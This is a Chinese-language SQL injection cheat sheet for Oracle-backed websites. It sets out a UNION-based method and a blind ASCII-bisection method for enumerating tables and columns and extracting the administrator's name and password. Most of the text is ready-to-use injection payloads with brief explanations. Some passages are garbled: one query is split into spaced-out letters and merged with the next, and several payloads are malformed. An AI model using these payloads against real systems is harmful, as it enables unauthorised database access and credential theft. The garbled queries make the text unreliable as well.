Oracle第一种注入方式 1.判断oracle数据库: and exists(select * from dual) and exists(select * from user_tables) 2.判断列数: order by 3.获取数据类型不匹配的列: id=100 union select null,null,null,null, null, null, from dual 在每列上逐个用数字代替null,1,null…from dual, 如果返回正常说明该列为数字类型,反之则为非数字类型。 也可以逐个用引号引起来如:‘null’,null…from dual, 返回正常说明该列为字符类型,反之为非数字类型。 5.获取基本信息: 获取数据库版本 (select banner from sys.v_ v e r s i o n w h e r e r o w n u m = 1 ) 获 取 操 作 系 统 版 本 ( s e l e c t m e m b e r f r o m v version where rownum=1) 获取操作系统版本 ( select member from v versionwhererownum=1)获取操作系统版本(selectmemberfromvlogfile where rownum=1) 获取连接数据库的当前用户 ( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual) 获取数据库 (select owner from all_tables where rownum=1) 6.获取连接数据库的当前用户:id=100 union select null,( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual),null,null from dual 7.获取第一个表:id=100 union select null,( select table_name from user_tables where rownum=1),null,null from dual 8.获取第二个表:id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>‘xxxxx’),null,null,null from dual //单引号里的为上一个表名,以此类推就可以得到所有的表名 9.获取第一个列名:<假设我们得到管理员表名为:admin> id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1),4,5,6 from dual,null,null, from dual //单引号里的为表名
Oracle: 9.获取第二个列名:<假设获取第一个列名为EMPLOYEE_ID> id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1 and column_name<>‘EMPLOYEE_ID’),4,5,6 from dual,null,null from dual //<>‘EMPLOYEE_ID’ 不等于第一个列 10.获取数据库:union select 1,2,name,4,5,6 from admin union select 1,2,pass,4,5,6 from admin
Oracle第二种注入方式 1.判断数据库中的表:网址后加上:and (select count() from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin 改为username、manager等常用表名继续猜解。 2.判断下该网站下有几个管理员:and (select count() from admin)=1,返回正常说明只有一个管理员 3.指定表名获取列名:and (select count(name) from admin)>=0返回正常,说明存在name字段 接下来采用ASCII码折半法猜解管理员帐号和密码: 1.判断管理员名字长度: and (select count() from admin where length(name)>=5)=1 说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成 2.判断管理员账号:and (select count() from admin where ascii(substr(name,1,1))>=97)=1 说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a 判断name字段第二个字符:and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin